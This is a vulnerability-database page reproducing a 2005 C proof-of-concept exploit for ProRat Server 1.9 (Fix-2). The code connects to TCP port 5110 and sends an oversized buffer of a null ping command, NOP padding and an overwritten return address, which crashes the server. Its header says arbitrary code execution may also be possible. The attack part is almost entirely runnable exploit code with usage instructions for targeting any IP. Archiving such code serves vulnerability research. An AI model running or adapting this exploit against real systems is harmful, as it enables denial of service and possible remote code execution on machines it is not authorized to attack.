Lucene search
K

ProRat Server <= 1.9 (Fix-2) Buffer Overflow Crash Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 7 Views

ProRat Server <= 1.9 Buffer Overflow Cras

Code

                                                /* if this worked for you send me an email.
 /str0ke */

/******************************************************************************************

	ProRat Server Buffer Overflow Crash POC
	http://www.prorat.net/products.php?product=ProRat

	Discovered and Coded by evil dabus
	e-mail:	evil_dabus [at] yahoo.com

	Tested on ProRat Server version 1.9 (Fix-2) Public Edition
        on a Windows XP Professional sp2 operating system.

	This exploit connects to the ProRat server (default port 5110) and sends
        a long null command string.
	After the exploit send, the ProRat Server will crash, trying to access
	to a bad memory address: 0x41414141.
        Remote users are able to  cause  the  server to  crash or potentially
        execute arbitrary code.

*******************************************************************************************/

#include &#60;windows.h&#62;
#include &#60;winsock.h&#62;
#include &#60;stdio.h&#62;

#define BUFSIZE                 0x280
#define NOP                     0x90
#define PORT                    5110                            // default port
#define RET_ADDR                &#34;\x41\x41\x41\x41&#34;              // crash
#define NULL_PING_COMMAND       &#34;\x30\x30\x30\x30\x30\x30&#34;

void
banner() {
        printf(&#34;- ProRat v1.9:Fix-2 remote buffer overflow\n&#34;);
	printf(&#34;- Coded by evil dabus (evil_dabus [at] yahoo.com)\n&#34;);
}
void
usage(char *prog) {
        banner();

        printf(&#34;- Usage: %s &#60;target ip&#62; [target port]\n&#34;, prog);
        printf(&#34;\n&#34;);

        exit(1);
}

void
main(int argc, char *argv[])
{
        WSADATA wsaData;
        struct hostent *pTarget;
        struct sockaddr_in sock;
        SOCKET s;
        int iPort = PORT;
        char szRecvBuf[BUFSIZE+1];
        char szExpBuff[BUFSIZE];

        if (argc &#60; 2)   usage(argv[0]);
        if (argc==3)    iPort = atoi(argv[2]);

        printf(&#34;\n[+] Initialize windows sockets.&#34;);
        if (WSAStartup(MAKEWORD(2,0), &wsaData) &#60; 0) {
                printf(&#34;\n[-] WSAStartup failed! Exiting...&#34;);
                return;
        }

        printf(&#34;\n[+] Initialize socket.&#34;);
        s = socket(AF_INET, SOCK_STREAM	, 0);
        if(s == INVALID_SOCKET){
                printf(&#34;\n[-] Error socket. Exiting...&#34;);
                exit(1);
        }

        printf(&#34;\n[+] Resolving host info.&#34;);
        if ((pTarget = gethostbyname(argv[1])) == NULL) {
                printf(&#34;\n[-] Resolve of %s failed.&#34;, argv[1]);
                exit(1);
        }
        memcpy(&sock.sin_addr.s_addr, pTarget-&#62;h_addr, pTarget-&#62;h_length);
        sock.sin_family = AF_INET;
        sock.sin_port = htons(iPort);

        printf(&#34;\n[+] Prepare exploit buffer... &#34;);
        memset(szExpBuff,NOP,BUFSIZE);
        memcpy(szExpBuff,NULL_PING_COMMAND,sizeof(NULL_PING_COMMAND)-1);
        memcpy(szExpBuff+576,RET_ADDR,sizeof(RET_ADDR)-1);

        printf(&#34;\n[+] Connecting to %s:%d ... &#34;, argv[1],iPort);
        if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))){
                printf(&#34;\n[-] Sorry, cannot connect to %s:%d. Try again...&#34;, argv[1],iPort);
                exit(1);
        }

        printf(&#34;\n[+] OK.&#34;);
        if ( recv(s, szRecvBuf, BUFSIZE+1, 0) == 0 ) {
                printf(&#34;\n[-] Error response server. Exiting...&#34;);
                exit(1);
        }

        Sleep(1000);
        printf(&#34;\n[+] Sending exploit buffer. size: %d&#34;,sizeof(szExpBuff));
        if (send(s,szExpBuff, sizeof(szExpBuff)+1, 0) == -1){
                printf(&#34;\n[-] Send failed. Exiting...&#34;);
                exit(1);
        }

        Sleep(1000);
        printf(&#34;\n[+] OK.\n&#34;);
        printf(&#34;\n[*] Now try to connect to the server&#34;);

        closesocket(s);
        WSACleanup();
}

// milw0rm.com [2005-08-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
7